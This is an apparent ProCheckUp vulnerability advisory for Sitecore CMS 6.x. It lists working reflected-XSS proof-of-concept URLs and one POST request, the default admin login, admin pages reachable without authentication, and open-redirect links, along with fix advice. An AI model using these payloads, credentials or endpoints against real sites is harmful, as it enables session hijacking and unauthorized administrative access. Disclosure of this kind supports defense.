by

SiteCore XSS and Broken Access Control

Vulnerability found:
30 November 2010

Vendor informed:
01 December 2010

Severity level:
High

Credits:
Richard Brain of ProCheckUp Ltd (www.procheckup.com)


Description:
Sitecore is a CMS designed for customers to effortlessly create content and media rich websites. ProCheckUp has discovered that multiple Sitecore pages are vulnerable to reflective XSS attacks, with some pages vulnerable to broken access controls which allows unauthenticated users to gather information and perform limited administrative actions. The Sitecore was also found to be vulnerable to offsite redirection.

http://www.sitecore.net

Versions tested:-
Version: Sitecore.NET 6.2.0 (rev. 100507)
Version: Sitecore.NET 6.0.0 (rev. 090120)
How to fix:
1) Sitecore is vulnerable to multiple reflective XSS flaws

Multiple XSS vulnerabilities has been found within the Sitecore Content Management System; this arises from insufficient input filtering found within programs.

By using a specially-crafted link, and tricking the victim into clicking on it, an attacker can perform malicious attacks such as the following:
- Hijack user accounts by stealing the victim's cookies that are assigned to the victim's browser by the vulnerable website
- Hijack user accounts by injecting a "fake" html form on the html rendered by the victim's web browser
- Redirect the victim to a malicious third-party website which would perform a phishing attack to steal the user credentials or exploit an vulnerability (i.e.: buffer overflow) on the victim's web browser in order to compromise the victim's workstation

UNAUTHENTICATED
http://target-domain.foo/sitecore/shell/Applications/Media/MediaPlayer/MediaPlayer.aspx?fi="></object><script>alert(1)</script>

(Works on IE only)
http://target-domain.foo/sitecore/shell/Applications/Login/Users/Kick.aspx?url=</script><script>alert(1)</script>=1

Whether it works depends on the site settings
http://target-domain.foo/sitecore/login/default.aspx?sc_error=<script>alert(1)</script>&mo=preview

http://target-domain.foo/sitecore/login?xmlcontrol=a><script>alert(1)</script> (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)

http://target-domain.foo/sitecore/shell/default.aspx?xmlcontrol=RenderingInfo&id=<script>alert(1)</script>&fi=%2ftemp%2fdiagnostics%2ftrace_%7bbb6c83fb-b029-469d-909d-8e1ecf5ecdb1%7d.xml (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)

AUTHENTICATED XSS
http://target-domain.foo/sitecore/shell/default.aspx?xmlcontrol=ea72c><BODY%20ONLOAD="alert(1)">&mo=preview

Works with IE
http://target-domain.foo/sitecore/shell/Applications/Security/DomainManager/DomainManager.aspx?'-alert(1)-'=1 (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)

http://target-domain.foo/sitecore/shell/Applications/Security/RoleManager/RoleManager.aspx?rolemanager:viewmembers='-alert(1)-'=1 (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)

http://target-domain.foo/sitecore/shell/Applications/Security/UserManager/UserManager.aspx?,usermanager:edituser=1&'-alert(1)-'=1 (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)

http://target-domain.foo/sitecore/shell/sitecore/content/Applications/Security/User%20Manager.aspx?'-alert(1)-'=1 (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)

http://target-domain.foo/sitecore/shell/Applications/WebEdit/WebEditRibbon.aspx?db=master&id=%7b110D559F-DEA5-42EA-9C1C-8A5DF7E70EF9%7d&url="><script>alert(1)</script> (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)

The treeid needs to be known for it to work
http://target-domain.foo/sitecore/shell/Applications/Content%20Manager/Execute.aspx?cmd=GetTreeviewChildren&id=4E7AB8B16A394C8CBF5B816F8105BFFD&treeid="><script>alert(1)</script>

Authenticated POST (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)
POST http://target-domain.foo/sitecore/shell/Applications/WebEdit/Palette.aspx
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-us
x-prototype-version: 1.6.0.2
Referer: http://target-domain.foo/default.aspx?sc_debug=0&sc_trace=0&sc_prof=0&sc_ri=0&sc_mode=edit&sc_rb=0&sc_de=1
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET4.0C; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: target-domain.foo
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ; ASP.NET_SessionId=mxwcv545hem0vy45wqqacf55; admin#lang=en; shell#lang=en; .ASPXAUTH=BEA13C8F7D4FADE370B51CAB6B575E28398AA952EA8CEDFBCE2DA4979F14D8F188936DDB6E6126D9F6429B6C03E54882C1BF39A719F3B5D44A9C611522AD473A3274630824C33A4EF4EDE70266FA032C9F3EA5D48E191E93DBC794A0FEDB04B1sitecore_userticket=C1D9F217B41B4047BEFEA39A489EBC26; sc_fv=10.2.152; website#sc_debug=1; website#sc_prof=1; website#sc_trace=1; website#sc_ri=1; sitecore_webedit_ribbon=1; sitecore_webedit_editing=0; website#sc_mode=edit; sitecore_webedit_activestrip=Ribbon_Strip_PageEditorStrip

POST DATA
command=insert&rendering=493B3A830FA744848FC94680991CF743&itemid=110D559FDEA542EA9C1C8A5DF7E70EF9&placeholderKey=/main/centercolumn/banner32d0a<script>alert(1)</script>bfe06dfe932&deviceid=FE5D7FDF89C04D999AA3B5FBD009C9F3&layout=%7B%0D%0A%20%20%22%3Fxml%22%3A%20%7B%0D%0A%20%20%20%20%22@version%22%3A%20%221.0%22%2C%0D%0A%20%20%20%20%22@encoding%22%3A%20%22utf-16%22%0D%0A%20%20%7D%2C%0D%0A%20%20%22r%22%3A%20%7B%0D%0A%20%20%20%20%22@xmlns%3Axsi%22%3A%20%22http%3A//www.w3.org/2001/XMLSchema-instance%22%2C%0D%0A%20%20%20%20%22@xmlns%3Axsd%22%3A%20%22http%3A//www.w3.org/2001/XMLSchema%22%2C%0D%0A%20%20%20%20%22d%22%3A%20%5B%0D%0A%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%22@id%22%3A%20%22%7BFE5D7FDF-89C0-4D99-9AA3-B5FBD009C9F3%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%22@l%22%3A%20%22%7B14030E9F-CE92-49C6-AD87-7D49B50E42EA%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%22r%22%3A%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@cac%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@cnd%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@mvt%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@ds%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@id%22%3A%20%22%7B885B8314-7D8C-4CBB-8000-01421EA8F406%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@par%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@ph%22%3A%20%22main%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@uid%22%3A%20%22%7B43222D12-08C9-453B-AE96-D406EBB95126%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbd%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbdev%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbl%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbp%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbqs%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbu%22%3A%20%220%22%0D%0A%20%20%20%20%20%20%20%20%20%20%7D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@cac%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@cnd%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@mvt%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@ds%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@id%22%3A%20%22%7BCE4ADCFB-7990-4980-83FB-A00C1E3673DB%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@par%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@ph%22%3A%20%22/main/centercolumn%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@uid%22%3A%20%22%7BCF044AD9-0332-407A-ABDE-587214A2C808%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbd%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbdev%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbl%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbp%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbqs%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbu%22%3A%20%220%22%0D%0A%20%20%20%20%20%20%20%20%20%20%7D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@cac%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@cnd%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@mvt%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@ds%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@id%22%3A%20%22%7B493B3A83-0FA7-4484-8FC9-4680991CF743%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@par%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@ph%22%3A%20%22content%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@uid%22%3A%20%22%7BB343725A-3A93-446E-A9C8-3A2CBD3DB489%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbd%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbdev%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbl%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbp%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbqs%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbu%22%3A%20%220%22%0D%0A%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%0D%0A%20%20%20%20%20%20%7D%2C%0D%0A%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%22@id%22%3A%20%22%7B46D2F427-4CE5-4E1F-BA10-EF3636F43534%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%22@l%22%3A%20%22%7B14030E9F-CE92-49C6-AD87-7D49B50E42EA%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%22r%22%3A%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%22@cac%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@cnd%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@mvt%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@ds%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@id%22%3A%20%22%7B493B3A83-0FA7-4484-8FC9-4680991CF743%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@par%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@ph%22%3A%20%22content%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@uid%22%3A%20%22%7BA08C9132-DBD1-474F-A2CA-6CA26A4AA650%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@vbd%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@vbdev%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@vbl%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@vbp%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@vbqs%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@vbu%22%3A%20%220%22%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%5D%0D%0A%20%20%7D%0D%0A%7D

Consequences:

An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to a Sitecore based site. Such code
Would run within the security context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of
Confidential information (i.e.: session IDs) to unauthorised third parties.

2) Sitecore is vulnerable to authentication bypass by using a built in default accounts.

http://target-domain.foo/sitecore/admin/login.aspx

User="sitecore\admin"
Password="b"

Consequences:

An attacker may be able to gain access to data held within a Sitecore based site, if the administrators have not changed the password.

Fix:

Change the default admin password.

3) Sitecore is vulnerable to broken access control, which disclosing confidential information to unathenticated users.

http://target-domain.foo/sitecore/admin/cache.aspx (click refresh)

Kick users off
http://target-domain.foo/sitecore/shell/Applications/login/users/kick.aspx

http://target-domain.foo/en/sitecore/admin/restore.aspx

Display the configuration
http://target-domain.foo/sitecore/admin/showconfig.aspx

http://target-domain.foo/en/sitecore/admin/sizestatus.aspx

Stats
http://target-domain.foo/sitecore/admin/stats.aspx?db=master&lang=en&id={00C4139C-4B64-4F9D-A8A7-861BE7EDC149}

Used to unlock a locked admin account
http://target-domain.foo/en/sitecore/admin/unlock_admin.aspx

Consequences:
And attacker might be able to carry out further attacks using the information found.

4) SiteCore is also vulnerable to offsite redirection, possibly to malicious websites.

http://target-domain.foo/sitecore/shell/Applications/Login/Users/Users.aspx?su=http://www.procheckup.com

(pop ups might need to be allowed)
http://target-domain.foo/sitecore/login/maximize.aspx?re=http://www.procheckup.com

Fix:

Apply patches or upgrade to Version: Sitecore.NET 6.3.1 (rev. 110112)

References:
http://www.procheckup.com/Vulnerabilities.php

Legal:
Copyright 2012 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to ProCheckUp, and provided such reproduction and/or distribution is performed for non-commercial purposes.

Any other use of this information is prohibited. ProCheckUp is not liable for any misuse of this information by any third party.